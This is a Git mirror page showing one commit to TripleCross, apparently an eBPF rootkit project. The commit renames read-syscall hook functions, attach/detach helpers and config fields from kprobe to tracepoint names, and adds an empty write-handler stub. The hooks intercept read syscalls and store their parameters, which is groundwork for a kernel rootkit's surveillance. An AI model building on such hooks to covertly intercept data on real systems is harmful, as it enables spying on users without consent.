mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-19 00:03:08 +08:00
Updated function and configurator manager names to the used hook.
This commit is contained in:
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -104,5 +104,5 @@ $(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
|
|||||||
.DELETE_ON_ERROR:
|
.DELETE_ON_ERROR:
|
||||||
|
|
||||||
# keep intermediate (.skel.h, .bpf.o, etc) targets
|
# keep intermediate (.skel.h, .bpf.o, etc) targets
|
||||||
.SECONDARY:
|
SECONDARY:
|
||||||
|
|
||||||
|
|||||||
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -41,7 +41,7 @@ struct sys_read_enter_ctx {
|
|||||||
size_t count;
|
size_t count;
|
||||||
};
|
};
|
||||||
|
|
||||||
static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
||||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||||
__u32 pid = pid_tgid >> 32;
|
__u32 pid = pid_tgid >> 32;
|
||||||
struct fs_open_data data = {
|
struct fs_open_data data = {
|
||||||
@@ -54,12 +54,16 @@ static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int f
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static __always_inline int handle_sys_write(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Receives read event and stores the parameters into internal map
|
* @brief Receives read event and stores the parameters into internal map
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
SEC("tracepoint/syscalls/sys_enter_read")
|
SEC("tp/syscalls/sys_enter_read")
|
||||||
int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) {
|
int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
|
||||||
struct sys_read_enter_ctx *rctx = ctx;
|
struct sys_read_enter_ctx *rctx = ctx;
|
||||||
if (ctx == NULL){
|
if (ctx == NULL){
|
||||||
bpf_printk("Error\n");
|
bpf_printk("Error\n");
|
||||||
@@ -68,7 +72,7 @@ int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) {
|
|||||||
|
|
||||||
int fd = (int) ctx->fd;
|
int fd = (int) ctx->fd;
|
||||||
char *buf = (char*) ctx->buf;
|
char *buf = (char*) ctx->buf;
|
||||||
return handle_sys_read(ctx, fd, buf);
|
return handle_tp_sys_enter_read(ctx, fd, buf);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -78,8 +82,8 @@ int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) {
|
|||||||
* values.
|
* values.
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
SEC("tracepoint/syscalls/sys_exit_read")
|
SEC("tp/syscalls/sys_exit_read")
|
||||||
int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
|
int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
|
||||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||||
if(pid_tgid<0){
|
if(pid_tgid<0){
|
||||||
//bpf_printk("Out\n");
|
//bpf_printk("Out\n");
|
||||||
|
|||||||
@@ -8,30 +8,30 @@
|
|||||||
#include "kit.skel.h"
|
#include "kit.skel.h"
|
||||||
|
|
||||||
//Connections
|
//Connections
|
||||||
int attach_kprobe_ksys_read(struct kit_bpf *skel){
|
int attach_tp_sys_enter_read(struct kit_bpf *skel){
|
||||||
skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
|
skel->links.tp_sys_enter_read = bpf_program__attach(skel->progs.tp_sys_enter_read);
|
||||||
return libbpf_get_error(skel->links.kprobe_ksys_read);
|
return libbpf_get_error(skel->links.tp_sys_enter_read);
|
||||||
}
|
}
|
||||||
int attach_kretprobe_vfs_read(struct kit_bpf *skel){
|
int attach_tp_sys_exit_read(struct kit_bpf *skel){
|
||||||
skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
|
skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read);
|
||||||
return libbpf_get_error(skel->links.kretprobe_vfs_read);
|
return libbpf_get_error(skel->links.tp_sys_exit_read);
|
||||||
}
|
}
|
||||||
|
|
||||||
int attach_fs_all(struct kit_bpf *skel){
|
int attach_fs_all(struct kit_bpf *skel){
|
||||||
return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
|
return attach_tp_sys_enter_read(skel) || attach_tp_sys_exit_read(skel);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
int detach_kprobe_ksys_read(struct kit_bpf *skel){
|
int detach_tp_sys_enter_read(struct kit_bpf *skel){
|
||||||
int err = detach_link_generic(skel->links.kprobe_ksys_read);
|
int err = detach_link_generic(skel->links.tp_sys_enter_read);
|
||||||
if(err<0){
|
if(err<0){
|
||||||
fprintf(stderr, "Failed to detach fs link\n");
|
fprintf(stderr, "Failed to detach fs link\n");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
int detach_kretprobe_vfs_read(struct kit_bpf *skel){
|
int detach_tp_sys_exit_read(struct kit_bpf *skel){
|
||||||
int err = detach_link_generic(skel->links.kretprobe_vfs_read);
|
int err = detach_link_generic(skel->links.tp_sys_exit_read);
|
||||||
if(err<0){
|
if(err<0){
|
||||||
fprintf(stderr, "Failed to detach fs link\n");
|
fprintf(stderr, "Failed to detach fs link\n");
|
||||||
return -1;
|
return -1;
|
||||||
@@ -40,7 +40,7 @@ int detach_kretprobe_vfs_read(struct kit_bpf *skel){
|
|||||||
}
|
}
|
||||||
|
|
||||||
int detach_fs_all(struct kit_bpf *skel){
|
int detach_fs_all(struct kit_bpf *skel){
|
||||||
return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
|
return detach_tp_sys_enter_read(skel) || detach_tp_sys_exit_read(skel);
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -14,8 +14,8 @@ module_config_t module_config = {
|
|||||||
},
|
},
|
||||||
.fs_module = {
|
.fs_module = {
|
||||||
.all = ON,
|
.all = ON,
|
||||||
.kprobe_ksys_read = OFF,
|
.tp_sys_enter_read = OFF,
|
||||||
.kretprobe_vfs_read = OFF
|
.tp_sys_exit_read = OFF
|
||||||
}
|
}
|
||||||
|
|
||||||
};
|
};
|
||||||
@@ -57,8 +57,8 @@ int setup_all_modules(){
|
|||||||
if(config.fs_module.all == ON){
|
if(config.fs_module.all == ON){
|
||||||
ret = attach_fs_all(attr.skel);
|
ret = attach_fs_all(attr.skel);
|
||||||
}else{
|
}else{
|
||||||
if(config.fs_module.kprobe_ksys_read == ON) ret = attach_kprobe_ksys_read(attr.skel);
|
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
|
||||||
if(config.fs_module.kretprobe_vfs_read == ON) ret = attach_kretprobe_vfs_read(attr.skel);
|
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
|
||||||
}
|
}
|
||||||
if(ret!=0) return -1;
|
if(ret!=0) return -1;
|
||||||
|
|
||||||
|
|||||||
@@ -25,8 +25,8 @@ typedef struct module_config_t{
|
|||||||
|
|
||||||
struct fs_module {
|
struct fs_module {
|
||||||
char all;
|
char all;
|
||||||
char kprobe_ksys_read;
|
char tp_sys_enter_read;
|
||||||
char kretprobe_vfs_read;
|
char tp_sys_exit_read;
|
||||||
}fs_module;
|
}fs_module;
|
||||||
|
|
||||||
} module_config_t;
|
} module_config_t;
|
||||||
|
|||||||
Reference in New Issue
Block a user